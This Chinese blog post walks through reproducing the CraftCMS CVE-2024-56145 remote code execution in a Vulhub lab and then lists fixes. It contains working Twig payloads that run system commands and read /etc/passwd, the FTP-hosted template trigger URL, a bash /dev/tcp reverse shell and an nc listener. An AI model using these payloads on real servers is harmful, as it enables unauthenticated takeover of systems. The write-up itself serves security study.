一、亮点
大部分 CMS 漏洞需要绕鉴权、猜路径、拼 payload,而 CVE-2024-56145 的门槛低得惊人——只要服务器开启了 PHP 的 register_argc_argv,访问一个构造好的 URL 就能直接执行系统命令。这篇文章从环境搭建到反弹 Shell,一条线串到底,不用猜,不用绕,照着步骤走就能拿下服务器。
二、漏洞背景
CraftCMS 是一套基于 PHP 的内容管理系统,因为灵活好用,不少企业站和商业站都在用。
问题出在 PHP 一个不太起眼的配置项上——register_argc_argv。当这个配置开启时,PHP 会把 URL 中的查询参数当作命令行参数传给程序。CraftCMS 5.5.2 / 4.13.2 之前的版本没能正确处理这一行为,导致攻击者可以通过 --templatesPath 参数,把模板目录指向自己控制的远程服务器。
这还没完。--templatesPath 支持 http 和 ftp 协议,这意味着攻击者可以让 CraftCMS 加载一个远程的 Twig 模板文件。而 Twig 模板里可以嵌入 PHP 函数调用——call_user_func 直接执行 system(),一步到位完成远程代码执行。
简单说:register_argc_argv 把 URL 参数喂给 CLI → --templatesPath 指向恶意 FTP → Twig 模板执行系统命令。全链路无认证、无交互,一个 URL 就能打穿。
三、环境搭建
直接用 Vulhub 启动漏洞环境:
docker compose up -d
启动后访问 http://your-ip:8088/admin/install,按照安装向导完成 CraftCMS 初始化。数据库地址填 db,用户名和密码都是 root,数据库名填 craftcms。
看到安装成功的页面,说明靶场就绪。

四、漏洞复现
利用链路分三步:制作恶意模板 → 启动 FTP 服务托管 → 发送构造 URL 触发。
步骤1:创建恶意 Twig 模板
在攻击端新建一个 index.twig 文件,内容如下:
{{ ['system', 'id'] | sort('call_user_func') | join('') }}
这行代码的实际效果等价于:
call_user_func('system', 'id');
Twig 的 sort 过滤器接收一个回调函数名作为参数,这里传入了 call_user_func,实现任意 PHP 函数调用。

步骤2:启动 FTP 服务
pip install pyftpdlib
python -m pyftpdlib -p 21212
在 index.twig 所在目录执行,FTP 服务即托管该文件。
步骤3:发送请求触发漏洞
直接浏览器访问或发送以下请求:
GET /?--templatesPath=ftp://攻击端IP:21212/ HTTP/1.1
Host: your-ip:8088
Accept: text/html,application/xhtml+xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
页面返回 id 命令执行结果,漏洞复现成功。

换个命令读 /etc/passwd,把 index.twig 改为:
{{ ['system', 'cat /etc/passwd'] | sort('call_user_func') | join('') }}
刷新页面即可看到文件内容。

五、GetShell:拿下服务器
5.1 Payload 构造
有了命令执行能力,反弹 Shell 的 payload 就很简单——直接把系统命令换成 bash 反弹:
{{ ['system', 'bash -c "/bin/bash -i >& /dev/tcp/攻击端IP/监听端口 0>&1"'] | sort('call_user_func') | join('') }}
更新 index.twig 后保存。这里和之前复现不同,反弹 Shell 用的是 bash -c 包装,因为命令中包含重定向符号 >&,直接传会解析异常。
5.2 开启监听
在攻击端执行:
nc -lvvp 监听端口

5.3 触发
访问 URL:
http://your-ip:8088/?--templatesPath=ftp://攻击端IP:21212/
FTP 服务器会收到模板请求,CraftCMS 加载并渲染 index.twig,call_user_func 执行反弹命令。
5.4 验证
回到攻击端的 nc 监听窗口,输入:
whoami; uname -a; id
看到返回信息就说明服务器已在控制之下。
这个漏洞的反弹 Shell 路径异常简单——因为 Twig 模板天然支持任意 PHP 函数调用,不需要额外的编码或绕过,一步到位。唯一需要注意的是 FTP 服务要保持运行,模板内容改动后无需重启,刷新页面即生效。
六、踩坑与避坑
过程踩坑:FTP 端口被防火墙拦截
本来以为 FTP 端口随便开一个就行,结果 nc 监听迟迟没反应。排查发现阿里云安全组没放行 21212 端口——靶场能访问 FTP,但反弹 Shell 的端口没开。
原因:FTP 和 nc 监听是同一个 IP 但不同端口,安全组规则要分开配置。
解决:在云控制台安全组里放行 nc 监听端口即可。
常见问题速查
- 访问 URL 后页面白屏 → 检查 FTP 服务器是否正常运行,
index.twig是否在 FTP 根目录 - FTP 连接被拒绝 → 检查防火墙是否放行 FTP 端口(默认 21212),或换一个端口试试
- 命令执行成功但 nc 没反应 → 检查安全组/防火墙是否放行监听端口,确认攻击端 IP 是公网 IP 且目标能通
register_argc_argv未开启 → 这是 PHP 配置项,Vulhub 环境已默认开启,自建环境需在php.ini中设置register_argc_argv = On- Twig 模板语法报错 →
sort和join之间不要加多余空格,call_user_func拼写不能错
七、修复建议
- 升级 CraftCMS 到 5.5.2 / 4.13.2 及以上版本
- 在
php.ini中关闭register_argc_argv(设为Off) - 限制 CraftCMS 管理后台对公网的暴露,配置防火墙仅允许可信 IP 访问
- 对
--templatesPath参数增加合法性校验,禁止远程 URL 协议
八、写在最后
这个漏洞的可怕之处在于——不需要登录、不需要猜路径、不需要复杂的 payload 编码。只要你有一个 FTP 服务和一个构造好的 Twig 模板,一个 URL 就能让服务器执行任意命令。register_argc_argv 这个配置项平时很少有人关注,但一旦和 CraftCMS 的模板加载机制碰撞,就成了直通 RCE 的快车道。
如果你是第一次做漏洞复现,这个漏洞是个不错的入门选择——利用链路简洁清晰,每一步都能看明白为什么。
本文仅用于安全研究和学习,请勿用于非法用途。技术本身没有好坏,关键在于是谁在用、用来做什么。
十、演示视频
完整的操作演示在这里:
【GetShell】CraftCMS远程代码执行
1161

被折叠的 条评论
为什么被折叠?



